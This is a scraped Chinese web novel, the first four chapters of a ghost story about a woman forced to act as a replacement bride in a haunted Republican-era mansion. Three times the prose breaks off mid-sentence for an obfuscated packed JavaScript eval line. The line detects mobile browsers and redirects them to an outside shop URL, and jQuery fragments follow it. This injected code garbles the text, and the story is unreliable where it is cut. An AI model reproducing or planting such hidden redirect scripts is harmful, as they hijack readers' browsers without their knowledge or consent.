《鬼少爷他要娶我狗命?》
1. 第 1 章
——我不是乔小姐。
黎秋又第一反应是自己被绑架了。
她此时正坐在一个小小的,摇摇晃晃的轿子里,手脚都动弹不得,连话都说不出来,寒冷使她思维迟钝,想不通自己是怎么出现在这里的。
窗帘被外面的人掀开一个角,她称呼黎秋又为乔小姐,声音尖细沙哑,像深山老林中,漆黑夜里怪鸱的悠长叫声,“乔小姐不要听那些流言,这冲喜是好事,结了婚,老爷身体恢复好了,你也跟着享福,过个一年再给贺将军生个小少爷,到那时候还用担心你妈妈的病治不好吗?”
什么玩意儿?什么冲喜,什么贺将军,什么妈妈的病,啥年代了!
可她像是被钉在了轿子里,视线只能死死盯着掀开窗帘的那只手,那只干长如枯骨,森白的皮松垮垮得挂在几根指节上的手,以及说话之人毫无血色的面上,艳红唇齿一张一合,露出里面血色的,尖利的牙。
不,这不是绑架,她被迫接受着眼前这些诡异的事情。
黎秋又红着眼眶,挪不开视线,窗外喜娘随着轿子前行,一边走着,发出“咔咔”的脚步声,像是几根木质拐杖自己在路上跳似的。
喜娘觉得黎秋又是舍不得母亲,嫁人的姑娘哪有不哭的,笑得和善,安慰她:“乔小姐也不用太过伤心,总归都在南都,不会再也见不到妈妈的。”
躯体受困,僵化得难受,她心里发毛,黎秋又此时很想大叫出声,挣脱开,跑出轿子,想要不管不顾地跑走。
此时隐隐听到路人讲话:“红白事撞一起,恐怕不吉利哦。”
“这红事本身也不吉利,贺老将军六十有三,昨儿年才娶的姨太太,才死了不久,又要新娶。”
“哎,可惜了这桃李年华的小姑娘咯。”
喜娘只是转头去看向那些路人,看过去时,路人短暂噤声。
这些路人没有面孔,黑色的头发下面,是模糊的一团,他们有人的轮廓,却不是人。
窗外,冬日的烟火气息闯入轿子里,黑沉沉的街道上到处都是纷扬的白色纸钱,路边还有光秃秃的树干,被亮堂的月光一照,像一排排张牙舞爪的怪物。
冷风顺着窗吹进来,黎秋又五官都冻得冰凉,吸进肺里的空气都是凉的,一张纸钱跟着风一起飘进了窗子,那喜娘瞧见,红唇一掀,口中的长舌吐信子似的戳到了黎秋又跟前,差点舔到了她的脸,而黎秋又只能怔楞地看着,躲也没法躲。
最后,她只是用她的信子勾走了那张纸钱,又吐在了窗外,朝黎秋又笑笑,“别叫这些东西脏了乔小姐。”
那双空洞的眼,一直看着黎秋又,黎秋又的视觉从来没有这么清晰过,她清楚地看到,喜娘的眼瞳里,只有一片漆黑,就像初学绘画的孩子,用黑色的画笔给娃娃脸上涂上了两只漆黑的洞。
这到底是什么鬼啊!
这样的深夜里,喜娘身后的街道上,传来那些无脸路人的惊叹声、议论声;摊贩用瓷碗磨刀的声音、修鞋匠补鞋时的铁砧敲击声、车夫拉着黄包车碾压马路、电车经过发出“叮叮”警铃。不远不近的唢呐声,有一搭没一搭地吹着,一会儿唱红,一会儿唱白。
声音清晰入耳,黎秋又的后背凉了又凉,她很显然已经不在南城了,准确来说,她可能也不在自己原来那个时空了。
一开始,她只是应外婆的遗愿,前往南城贺家去认领自己的娃娃亲,高门大户里,贺家的管家带着她去见娃娃亲的路上,莫名其妙就来到了这里。
以前总觉得遇到什么事情,只要她还有一双腿,就可以跑走,眼下却连动都动不了。
忽地在轿子之后的不远处,从窗外传进来一阵男人的尖吼声,“这是哪里!我要回去!不要碰我,你们都是什么东西?”
下一瞬间,男人狰狞的面容突然出现在了黎秋又这个轿子的左边窗口,男人掀开窗帘,死死盯着黎秋又,“救我!救救我!”
她看见男人脸上遍布血迹,还有因恐惧而夸张堆叠的面部褶皱,双手攀着窗沿,手指用力泛着死白。
而另一侧的右边,刚还满面和善的喜娘,霎时间面目扭曲,一张红唇上的皮肉全然退化,只剩下了骷髅似的下颌,上面嵌着锋利的尖牙,黎秋又只看见这一瞬,喜娘掀着帘子的手松开,与此同时,轿子又被“哐当”搁置在地上。
黎秋又的眼前变成一片漆黑,她动弹不得,窄小的轿子里,她几乎能听见自己急促喘息的声音。
不能视物,听觉就变得异常灵敏,黎秋又的指甲狠狠掐着自己的掌心,右侧的“咔咔”声,就像齿轮运作,几乎是瞬间到了左侧,那男人被一股巨大的外力扯开。
黎秋又感受到轿子被气流引起一阵晃动,接着,又归于平静。
只是耳边仍旧传来可怕的布帛撕裂声,吞食咀嚼声。
如同许多大型野兽在撕扯食物,争夺。
短短几秒钟的时间,黎秋又仿佛度过了一个世纪,掌心被她掐得生疼,额间都渗出了细密的汗。明明此时她已经冷到牙齿打颤。
男人的尖叫嘶吼声,早已消失在吞食声中,连血腥味都不曾留下。
夜静了。黎秋又开始后怕,如果刚才她能动,那么冲出轿子的一瞬间,自己的下场也会是这样。
没有人再继续抬起轿子,也没有喜娘掀开帘再嘱咐她些什么,仿佛刚才只是经历了一场幻觉,现在所有事物都回归了正常。
好半晌后,黎秋又听着自己的心跳渐渐平静下来,她这才松开了手指。
她确定自己遭遇鬼打墙了。
刚才的一切都是幻象,只是幻想太过真实了。
黎秋又七岁那年,跟着外婆去了一座孤坟山,外婆上山在那里遭遇过鬼打墙后,外婆出去办业务时,再也不敢让她离开身边半步,以至于后来黎秋又都变成了“婆宝女”,外婆那些看地看风水的本事什么也不会,什么都要依靠外婆。
但她清楚,此时遭遇的这种类型的鬼打墙,恐怕即便是外婆本人在这里,也很难自救。
黎秋又被困在这个窄小的轿子里,身体僵得发麻,温度也越来越低了,黑暗中,她小幅度活动了一下身体,发现现在已经可以动。同时,也感受到自己身上穿的已经不是自己原先的衣服了。
是一身很有捆缚感的旗袍,上身还披了件不知什么动物的皮毛。
左手腕上有一块唯一还属于她自己的腕表,这块表的前身是一块怀表,外婆给她的,为了携带方便,被她改造成了一只腕表。
她不确定窗外会不会有“人”就静静地把脑袋搁在旁边,等着黎秋又打开窗帘和她打个招呼。
只是现在越来越冷了,她不敢轻举妄动,端坐在轿子里面,轻声开口:“你,咳咳,你好,还在吗?”
找回声音之后才开口,那嗓音哑得像公鸭,外面仍然是一片寂静。
她这才用冷得发僵的手指,小心翼翼去戳开窗帘,探出视线去,窗外已经什么都没有了。
没有喜娘,没有纸钱,没有黄包车,没有修鞋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698914|189106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
匠,没有热热闹闹的无脸路人,只剩下了一面单扇的漆红小门。
四周开始弥漫浓重的雾,以肉眼可见的速度向轿子这边铺开,这一小方天地看似窄小可靠,但黎秋又知道,这里已经不安全了。
她掀开轿帘,准备跨出轿子,一瞬间,脑海中猛然被一阵光怪陆离的景象入侵,像满脑子的万花筒在不停旋转变化,又像误食毒蘑菇后巨大的烟花在脚下绽放,绚烂的霓虹在遍地行走。
奇异的视觉感官并没有给黎秋又带来震撼,因为她整个人在这一瞬间,陷入了难以抑制的巨大悲伤之中。
像是独自一人踽踽走过了漫长的年岁,又像是永远被困在了某一方天地,无法解脱,还像是瞬间内经历了人世间所有离别的苦,无能为力。
也仅仅就这一瞬,而后所有异状恢复正常。
黎秋又伸手去抹,才察觉到自己竟然已经遍布泪痕。
该不会被什么玩意儿附身了吧……
她总是这样的,有时候心脏骤疼,但疼的感觉只维持了一会儿,她就自然而然忽略了这些反应。
现在,这瞬间的异样虽然令她疑惑,但她觉得更重要的还是进入那扇未知的门。
在原地缓了几秒后,黎秋又才终于踩着本不属于她的白色小皮鞋跨出了喜轿。
面前红色的小门此时看上去红得艳丽,就像是被均匀涂上了新鲜的血,越来越红,红得要渗出来了似的。
黎秋又提了提旗袍裙摆,跨上台阶,靠近小门,微微蹲了下身子,小心翼翼地把门掀开了个缝。
苍老的“吱呀”一声,黎秋又朝小门里塞了只眼睛进去,却发现眼前竟豁然亮堂起来。
没有人,她这才直起身子,缓慢推开了门,谨慎步入。
门内是一间宽阔的小院,脚下的石板路蜿蜒至视野尽头,灰墙黑瓦的中式房屋前,却是个扇形的西式拱门,门前还立着两根罗马柱。这种中西合璧的建筑风格在民国时期很常见。
黎秋又最近正在写民国的悬疑小说,所以对这方面稍微了解过一些,像这样的宅子,不会是一般的家庭,在这个时期的如此豪宅,怎么也是个军阀或是资本家。
所以,这就是那“贺老将军”的家,她果真是作为冲喜新娘“嫁”进来了。
院里到处都摆放着红灯笼,喜庆氛围扑面而来,黎秋又仍旧疑惑,哪怕是军阀家庭,娶一房姨太太而已,不至于这么隆重。
这些喜庆的布置若是为了宴客,或是迎接过年倒还说得过去一些。
小院西侧有一棵高大的老榕树,枝叶并不繁茂,树干却很粗大,一根树枝下还吊着一个小秋千,黎秋又已经开始幻视,那里有个小孩,正坐在秋千上嘻嘻哈哈笑着,又猛然抬起一双空洞漆黑的眼望向她。
思维太过活跃也不是好事,她决定离那棵树远点。
但院子的东侧又是一汪水潭,在黑暗中,幽深不见底,只倒映出屋檐下的红灯笼,反射出红色微光。
黎秋又有深水恐惧,她决定离这小潭也远点。
脚下小皮鞋踩上正中的石板路上,发出“哒哒”的声音,清脆的声响在寂静中吓了她一跳。
石板路的尽头,有人正从门洞过来,窸窸窣窣的。黎秋又赶紧把脚上那双吵人的高跟鞋扒下来,翻到长廊的柱子后面躲着。
“你麻利点,别叫这个乔小姐死太快了。”有人低声开口。
另一个声音小心翼翼:“唐约姐,你说这次的乔小姐有没有可能是个男人?”
2. 第 2 章
长廊与屋檐相连,烛火在红灯笼里,被微风吹得轻晃,石板路被水洗过,红色的光从地板反射出来,零星血迹似的。
黎秋又躲在柱子后面,看着两个纤瘦身影鬼鬼祟祟地走在长廊下,左顾右盼。
她们是人。
走在前面的那位,身上穿的是红色的繁复戏服,挂件在身上坠着,走路还发出“嘀嘀哩哩”的声音。
穿着戏服的人,此时猫着身子,走到一间房门前,小心推门,这才回答刚才的话:“嘴巴闲着没用可以去当订书机。”
她身后的一位姑娘穿的是棉麻材质的深蓝色袄裙,像大户人家的丫鬟,她肩上跨了只单肩包,用一手把包压在身后,她被怼惯了,也没生气,过一会儿她又压低声音开口:“唐约姐,我们做我们的事就行了啊,为什么非要等新的乔小姐来?”
“来到这里都是一条船上的,我们需要有更多同盟才好办事。”前面那位穿着戏服的女人回答。她声音粗哑,像抽了二十年的烟,一点也不像能唱戏的样子。
身后丫鬟装扮的女人朝黎秋又进来的那扇院子后门望去,黎秋又把身子朝下缩了点,听见她说:“可是都死了两个乔小姐了,我们就算提前来守着,也不一定能改变结……”
她话没说完,从廊边柱子后看见了黎秋又的衣角,上半身毛绒绒的动物皮毛漏了馅。
黎秋又还没来得及站出来,反倒是那女人吓得一退数尺,把蹲在门口小心开门的戏服女人一把推进了屋子里。
“你干什么一惊一乍的!”那个叫唐约的女人朝这人肩上拍了一巴掌,黎秋又才从廊柱后探出脑袋去。
唐约发现身后的房屋是安全的,她只瞥了黎秋又一眼,眼神示意身后的女人,她先跨入房间后,黎秋又就被那女人拽着也进了房间。
房间是空的,里面没有家具,只在三面墙边整整齐齐码着几排箱子,面前这个叫唐约的女人,长相十分精致,眉梢眼角都是恰到好处的美,黎秋又很少在现实生活中见到长得这么精致的人。
唐约不知从哪拖了个凳子过来,关上门,把黎秋又按在门后,黎秋又手上还拎着自己的皮鞋。
“你是乔小姐。”
“我不是乔小姐。”黎秋又把鞋丢在身侧,就规规矩矩端坐着,睁圆双眼抬脸看着唐约。
“不管你是谁,你现在都是乔小姐。”
黎秋又的水粉色长款旗袍,上身搭着小狐狸皮草,唐约一眼就看出来了她的身份,她的相貌并不美丽出众,好在是乖巧清秀的脸,灵透的眼神倒有些像女学生。
黎秋又一脸疑惑。
“你就是那个冲喜嫁进来的十六姨太。”
“所以你今晚就会死。”唐约身边的女孩面相看上去比唐约和善,但说出来的话跟吐阴气似的,鬼气森森,吓得黎秋又一双圆眼怔怔地盯着她。
唐约把人拉开,“小廖,别给人吓晕过去了,等会还有正事。”
她一伸长腿,踩到黎秋又耳边的门上,身上华丽配饰发出声响,看着黎秋又神情严肃,“作为十六姨太,你今晚,需要进入老爷的房间,喜娘跟你说过吧?”
黎秋又安静等着唐约继续讲。
“上两个十六姨太宁死不愿,我和廖欢就眼睁睁看着她被那刚回国的少爷撕了脑袋。”
“你如果想活命,最好是按照你的人设,做你该做的事。”
黎秋又听懂了唐约的意思,照她的说法,这大概像是个要命的剧本杀游戏。
“别把这当做剧本杀。”唐约看穿了黎秋又的心思,“从现在起,你就是乔小姐,不能让这里的npc察觉任何端倪。”
“你需要融入他们。”
“你刚才说,在我之前,也有人作为十六姨太‘嫁’进来?”黎秋又不自觉踮起脚尖,双脚化身树根死死扎在地面。
“对,所以我们的角色并不是只有我们能担任,一个死了,就会有另一个补上来。”廖欢发出阴恻恻的声音。
“这个死……是我想象的那种死吗?”
唐约用鼻孔轻笑:“我没死过,你可以试试。”
黎秋又忽然感到脑门痒痒的,像有东西正在靠近,但唐约跟她讲完话就退开了,廖欢也趴在门边鬼鬼祟祟望着外边。
黎秋又起身去,脑袋环顾一圈,并没有什么靠近的东西。
转过身来的廖欢突然指着黎秋又,“你你你,你发光了。”
唐约靠过来,掰过黎秋又的脑袋,就看见她原本盘在脑后的发簪,正在泛着莹莹绿光。
“你头上啥玩意儿?”
“我又看不见,我怎么知道啥玩意儿?”黎秋又有点急。
唐约思索两秒,直接上手去把黎秋又后脑勺的发簪抽出来。
三人这才看清,这竟是一支笔,一支淡绿色,通透玉质的毛笔,作为发簪也毫不违和,只是此时发着光,映在几人脸上,显得更诡异了。
黎秋又把这笔接过来,笔身温凉,晃了两下,笔尖所及之处,留下了淡淡的绿色印记。
捏笔的感觉非常熟悉,像是经常用的。黎秋又习惯性转了转笔,发现竟意外地跟手,就像是专属于她的物件似的。
她们正无法理解这支毛笔在此时出现的原因,忽地就见周边不知什么时候出现了无数细闪的金粉,开始汇聚,两三秒的时间,就在三人的眼前汇聚成几行泛着金光的字!
【民国十九年,择了腊月十八的吉时,全府为老爷冲喜。你且看那前厅后院的红灯笼,倒比枝头的梅花还艳上三分。】
黎秋又瞪了瞪,抬眼看向身边两人,“你们能看见吗?”
三人凑在一起,面前是金粉绿光,背后是一片漆黑,都不约而同地用低声讲话,唐约呛道:“我看不见,我是瞎的吗?”
金色的发光台词没有显示在实物载体上,而是浮于虚空。
“今天确实是腊月十八。”三人顺着窗户望出去,被许多灯笼照着,亮堂堂的院子里,也确实能看见从其他小院翻墙而来的梅花。
“这是我们现在所在的剧本里的台词。”黎秋又笃定。
廖欢喃喃:“还真让你玩上剧本杀了。”
唐约伸出一根手指,在那些像是有生命似的金粉上,抹了一把。
“这字还能被抹掉啊?”廖欢把唐约的手指拿过来仔细看了看,“没粘到手上。”
“那是重点吗?”黎秋又有点想骂人,眼里的金光字正在忽闪忽闪,“字被擦掉了啊!大姐!谁知道这个字没了会不会出什么问题啊!”
唐约皱眉,“哪两个字没了,这里原先是什么?”
“你且看那前厅后院的红灯笼,倒比枝头的梅花还艳上三分。红灯笼,红灯没了!”
黎秋又话音刚落,院子里原本红彤彤的光,突然“啪叽”,灭了。
光和声音一起消失了,三人呼吸都开始变得压抑,空气安静地已经能听到对方的心跳声。
“你手里不是有笔吗?”唐约拽起黎秋又的手。
黎秋又福至心灵,迅速用手上的笔开始往那空处填写。下笔触感奇异,平滑无摩擦,这样写出来的字很容易写得张牙舞爪,为防写出来的字因为潦草而有歧义,黎秋又小心又小心。
“用这个绿油油的笔写出来的字……”
黎秋又就知道,自己写字的时候,一般是不太建议别人在跟前讲话的,很容易被打岔的人影响。
比如现在,廖欢话还没说完,三个人就盯着黎秋又写的那个“绿”字愣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698915|189106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了好几秒。
唐约伸手去擦,擦不掉。
此时屋外隐隐约约传来了人讲话的声音,唐约催促道:“不管了,快写,来接你的人到了。”
黎秋又最后完整地补上了这两个字,写完的一瞬间,屋外又亮了起来。
.
“少爷,我们还要坐几天的车啊?呕……%&*¥#”火车上,一个十五六岁的少年面如菜色,胃里已经吐不出什么东西了,趴在桌上蔫蔫的。
餐车靠窗的位置,坐着一位面如冠玉的儒雅男士,一身天青色唐装,令他尽显温润。
但是隔壁桌的两位少年却很清楚地知道,面前的少爷也就是看上去温柔,事实上,他仅仅一只手就能将人的脑袋搬离身子。
“小宣,才坐了半天的火车,你就成这个样子了?以后是要多带你们出来历练历练了。”少爷端着咖啡,语气轻缓柔和,也不看邻桌的两位少年,抬眸去望向窗外。
他已经五年没有踏足故土了。
池二浩桌面下的脚踢了踢宣余,眼神警告他不要乱说话。
虽说少爷只坐了半天火车,但他们却是实打实坐了十来天。
每次醒来都在火车上。
少爷记忆也从来都只停留在这一天。
池二浩支着下颌,视线悄悄地在少爷身上上上下下打量,“少爷今天看上去心情不错,是想到什么开心的事了吗?”
贺砚清这才转过眼来,朝俩少年笑笑,眉眼温润,少年一眼幻视看见亲哥哥了似的,他声音如沐春风:“终于回家了,难道不是件值得开心的事?”
池二浩眼皮突突跳,若不是少爷每次回到那宅子,还没进屋就先“咔咔”拧掉一个人,他可能还真会信了少爷的鬼话。
明明之前的每一天,他的面上都是浓雾愁云的。
“那今天回去,可以在家里先住几天吗?少爷先别咔咔人了行不?”宣余脑袋昏昏沉沉的一顿发泄,池二浩按都没按住。
“说什么胡话呢?”少爷没理解宣余的意思,笑笑,叫了服务生来,“再给他灌点晕车药吧,我可不想一会儿还要找人抬他回去。”
宣余倒下了,池二浩承担起沙僧的责任,少爷归国带了三个大箱子,全被池二浩一个人拎着回了府。
二人怀揣着侥幸心理回到府里,希望明天醒来能够不要再回到火车上的愿望,瞬间破灭了。
“绿了,全绿了!”廖欢欲哭无泪,“这下完蛋了。”
三人的脸上,映出了满院绿灯笼的光。
廊下,桥边,还有树上,先前象征喜庆的红灯笼,现在统统变成了绿色。
不远处的高层楼阁下坠着蜿蜒灯笼串,灯影交错,原本在园林中是隽永温雅之色。而现在,都变作了绿影幽光,如坠落了幽冥地狱,那些灯笼串,就像巨怪张开大口,露出的绿幽幽的可怕獠牙。
屋外传来两位侍女讲话的声音,“乔小姐还没来吗?”
“不会吧,这个喜娘一向很注意时间的啊。”
脚步声朝黎秋又所在房间走来,她连忙整理了一下自己凌乱的发,又用手里的毛笔把头发归束到脑后,簪上。
唐约最后叮嘱道:“前两个乔小姐,有大喜或大悲的情绪,但最后都被少爷撕了,我不知道你应该是什么样的人设,但这两个选项都不可选了,你自己保重。”
黎秋又垂眸深思,不论是什么时代的冲喜新娘,都不太可能是心甘情愿的,多的是无可奈何。
根据先前喜娘的只言片语,大概猜想着,应该是乔小姐的母亲生了什么病,为了这个治病钱而嫁给老头子冲喜。
大喜或大悲的情绪都是不可能的。
黎秋又整理好自己,穿上皮鞋,才拉开房门。
3. 第 3 章
门开后,外面两人立马瞧见了黎秋又,是两位也穿着棉麻材质袄裙的姑娘,每人手上各提着一只绿灯笼,朝黎秋又小跑过来。
她们同喜娘一样,露出个灿烂和善的笑,只是唇齿依然很红,哦不,绿。
“乔小姐已经入府啦,我们来接晚了,可是叫乔小姐等急了。”
两个姑娘有脸,并且五官清晰能辨,模样还挺清秀的,想来应该是副本里的重要角色。只是绿色的灯笼从下往上照,也太符合她们作为女鬼的身份了。
其中一个不那么跳脱的女孩朝黎秋又矮了矮身子,面带微笑说:“乔小姐,我是银烛,先前是二太太身边的人,今天开始由我来照料乔小姐的起居。”
她留意到黎秋又站在那里有些局促,亲昵地上前去搀着黎秋又,“乔小姐,二太太传您去说话,晚点还要代表老爷去府门迎少爷回家,我们这就走吧。”
黎秋又用身体挡着门,唐约两人躲在了门后,二位丫鬟朝门里面望了望,就不再注目,搀着黎秋又往外面走。
刚进府就要接受上面的下马威,黎秋又慌得冷汗干了一茬又一茬。至于为什么是二太太而不是大太太,黎秋又一点也不敢张口去问。
银烛柔软但冰冷的手搀着黎秋又的小臂,贴心地问她:“乔小姐为什么一直在发抖?”
黎秋又脖颈一僵,不敢偏过头去看银烛的表情,不知这些鬼怪会不会和外面的喜娘一样,不由分说就吃人?
她轻声开口:“有些冷,这身裙子还是单薄了。”
“听说乔小姐是北方人,想不到还不及我们南方人抗冻呀。”
黎秋又很怕说多了露馅,冻僵的脑瓜子飞速运转,思索要怎么开口回答,这时银烛又开口转了话题,“不过乔小姐放心,老爷房里有壁炉,温暖得很,夜里伺候老爷,不会冷的。”
这句话真令人脊背发寒。
根据唐约的说法,黎秋又应该是要先见到少爷,后才去见老爷,先前的乔小姐是连少爷这关都没过去,更别说之后的老爷了……
“少爷还有多久回府?”黎秋又垂眸悄悄看了眼腕表,时间就要到十一点,只是她还不能确定自己的表,在这里时间还会不会准。
银烛偏了偏脑袋,这个时候又像是脑袋生锈了,需要用很长的时间来反应黎秋又问的是什么似的,黎秋又生生被她看了好几秒钟的时间,才听到她轻轻笑了声,说:“少爷子时三刻回府。”
话音刚落,不远的某处院子,敲锣打鼓一阵吆喝,热闹人声沸腾,咿咿呀呀的戏曲声就要开场。
此时正好晚上十一点整。
越走越热闹,黎秋又已经可以看见忙碌的小厮抬着箱子朝各个院里搬。
月光罩着院子,莹亮的绿灯笼照着每一张忙碌的脸,管家朝搬着箱子的那几个小厮招呼道:“这个箱子轻点啊,这是少爷给二太太带的进口珐琅首饰。”
黎秋又朝戏曲那声音来源指了指,明知故问:“那边在做什么?”
“是二太太请的戏班子,少爷已经五年没有回家了,府里上下都等着迎接呢。”她语气轻快,很开心的样子。
西厢廊下有三三两两的丫鬟扎堆坐着,嘻嘻哈哈地聊天,看见银烛后,还朝她挥了挥手,忽略了银烛身边的黎秋又。
很冷,从里到外的冷。
黎秋又脚下皮鞋单薄,是秋款,现在已经深冬腊月,隔着单薄的长袜,把小白皮鞋踩在石板路上,鞋和石板硬得平分秋色。
她第一次见这么多鬼,满院子,全是鬼。
不同服装的小厮和丫鬟对应不同的工种,一个戴着围裙的小厮从后院跑到主院,匆匆跑到管家跟前说了什么话,管家叉着腰大骂:“新来的厨子怎么这么多事?叫他能做做,不能做就滚!”
小厮听了话就要跑走,管家又叫住他:“算了,送吧,记得从后门送,少爷马上就要到家,别再出岔子了。”
看来鬼和鬼之间也是有矛盾的,如果能让他们鬼咬鬼,或许黎秋又她们还能找到什么破局之法。这么想着,手里递过来一只暖炉。
竟然真的是热的,一股暖流顺着黎秋又的手包裹了她上半身。
“乔小姐已经冷得牙都在跳舞了,一会儿怎么跟二太太讲话呀。”银烛笑着对黎秋又说,二人又走进了一道洞门,离刚才的热闹远了。
“乔小姐,这里就是二太太的院子了。”院东侧一棵海棠果树,低低矮矮的,与旁边的小亭子不相上下,院里绿油油的光在光秃秃的树枝上缀了生机,还以为是绿了一个冬呢。
不过房间里却是正常的温暖黄色亮光,看来只有灯笼变了色。
这个院子离前院不远,安静,但也能隐约听见那边传来的热闹人声,黎秋又有一瞬间仿佛感到温馨的错觉。
如果她们都是人的话。
银烛正要带着她进房间,门被从里面打开,一小丫鬟从屋里出来,垂着脑袋一脸丧气,但还是小心翼翼转过身去把房门带上了。
“怎么了?太太不高兴了吗?”银烛拉着她问。
丫鬟抬眼看看她,又朝黎秋又望了一眼,不发一言,黎秋又发现她脸颊有红肿的巴掌印,她又匆匆低下头走了。
但银烛转过脸来,又对黎秋又笑。
她的笑容很僵,从开始到现在似乎一直都是这么笑的,嘴角弧度都是一样。
黎秋又避开银烛的目光,小声打退堂鼓:“二太太心情不好的话,不如就先……”
“不会的,乔小姐,”银烛仍然笑着,黎秋又越看越怕,“太太不吃人的。”
她这样讲话,黎秋又越是觉得,她说的像“太太要吃人的。”
凭空起了一阵风,院里卷来了一股潮湿腥咸的味道,不是什么血啊雨的,像是一股龙王吐到院里似的,铺天盖地的海产品味儿。
二太太还在屋里,投在窗上的影子格外巨大。
那身影摇摇晃晃,门在下一刻被打开,黎秋又就见到了二太太,正仪态端正地出了房门。
果然如她想象中那样,二太太脸色阴沉,绿光照射下,端着身子,有难以忽视的压迫感。
她一身华贵的皮草下,是墨绿色绒面旗袍,尽显优雅,只是她的面色看上去确实很不好。银烛立马朝二太太欠了欠身子,“太太,乔小姐带来啦。”
二太
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698916|189106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太只睨了黎秋又一眼,黎秋又努力想站得端正,但不知是不是鬼太多,阴气太重的原因,她从来没有像现在这么冷过。不光牙打颤,连腿都止不住地发抖。手里的暖炉只够给她两只手提供温暖。
“怂包。”二太太没说别的,丢了一句话就出了院门。
“快跟上。”银烛催促黎秋又。
这时候周遭又开始汇聚金色粉末,黎秋又定在原处等着台词出现。现在眼下情况看来,可以松一口气的是,短时间应该不会经历电视剧里那种当家主母给新妾立规矩的场景了。
可是早不来晚不来,在这个节骨眼上来台词,她哪有办法让银烛回避一下啊!
笔还在脑袋后面呢,下意识就朝银烛开口拖延时间,“不好意思,我的脚太冷了,已经冻麻了。”
黎秋又捧着手炉的手紧了紧,盯着银烛的表情,担心她突然“暴走”。
开始闻到的那股海产品味道越来越浓,走在前边的二太太脚步越来越急促,开始用手捂着鼻子。
她在前方大喊了一声,“银烛!快去看看哪里来的鱼味儿!”
“哎!”银烛听了二太太的话,立马跑开了。
台词适时显现出来:【少爷子时三刻回府,众人皆齐装于府门前迎接,戏子登台唱戏,厨子开火宴客,书童上前亲迎,冲喜准新娘进入喜堂,等待拜堂。】
姨太太还需要拜堂?黎秋又想改动的地方太多,一时还有些纠结。
“一群废物点心!少爷最讨厌这等俗艳之物。”二太太一脚踢开了脚边摆的马儿形状的灯笼,顺着就倒了下来,那马嘴边上的两只眼,就定定望着黎秋又这边。
像纸扎店里的马面,绿绿的,很安心。
黎秋又面前的字快要消散,她来不及再多思考,前面的二太太看上去像是在暴走边缘,已经消失在黎秋又的视野。
不知道有谁会遭殃,反正不能是她。既然少爷是她第一个要面对的难关,那不去见少爷不就没事了!
于是黎秋又迅速取下发簪,比划了两下,确定还可以写出字来,就把“众人皆齐装于府门前迎接”的“众”字擦掉,准备写上一个“无”字。
前院咿咿呀呀的唱戏声还在继续,二太太风雷滚滚地去了后院,另一边的门洞处探了半个脑袋进来,视线乱扫一圈,看见了正要离开的黎秋又。
“嫂子!”一道闷闷的声音传来。
声音实在有点耳熟,黎秋又扭了扭脑袋,就见一个一米八的大个子背着个小学生书包,迈着小碎步朝她跑过来。
十八九岁的青年脸露出一副委屈巴拉的表情,伸出两只手指拽了拽黎秋又身上的小狐狸毛,“嫂子,我终于找到你了。”
什么鬼?黎秋又看了眼他就扭开了视线。
台词中如果无人迎接,那就万事大吉!
然而,她只来得及画上去一笔,这支一直莹莹发绿光的笔突然间黯淡下来,任黎秋又再左晃右晃,甩来甩去,怎么也画不出来第二笔了。
那一笔成型在金字消散前,变成了“一人”。
黎秋又感觉自己从上到下只有一根筋了,脚后跟扯着脑袋生疼。
4. 第 4 章
“谁是你嫂子,别乱叫。”黎秋又一脸生无可恋地烦躁。
虽说声音耳熟,但她其实和这傻子只有一面之缘。
黎秋又一直知道自己有个娃娃亲,外婆不提,她也从来不问,直到外婆临走前,才提起这件事,外婆要她务必要去贺家认下这门亲事。
南城贺家从民国传承至今,是当地赫赫有名的豪门望族,这样的望族,黎秋又认为来认领娃娃亲的下场无非是被扫地出门,最好再给她丢一张支票。
她做好了拿支票走人的准备,却不想,贺家管家恭恭敬敬迎她进门,先见到了这位地主家的傻儿子。
黎秋又咽了咽口水,正想问,娃娃亲该不会是这傻子吧,管家就让这傻小子叫她“嫂子”。
并且要带她去见这傻子的哥哥。
她就是在去见傻子他哥的路上,误入了这里。
万万没想到这个傻小子居然也进来了,黎秋又拽了拽他耳朵,把他拉到跟前来,低声说:“贺尧!你是怎么找进来的?还能出去吧?”
“疼疼疼,嫂子松手。”贺尧把自己的耳朵释放出来,离黎秋又远了点,一脸不满地揉自己的耳朵,“我不知道怎么进来的,也不知道怎么出去。管家让我找你,我就找你。”
黎秋又绝望得不能再绝望了,她干脆不理贺尧。
按理说台词会立即生效,但现在外面已经乱做一团,比刚才还要吵闹。
如果要一人去府门前接少爷,总该不会是她吧,方才银烛对她说过,现在是二太太当家,照理来说应该二太太去,或者一个管家去就得了。
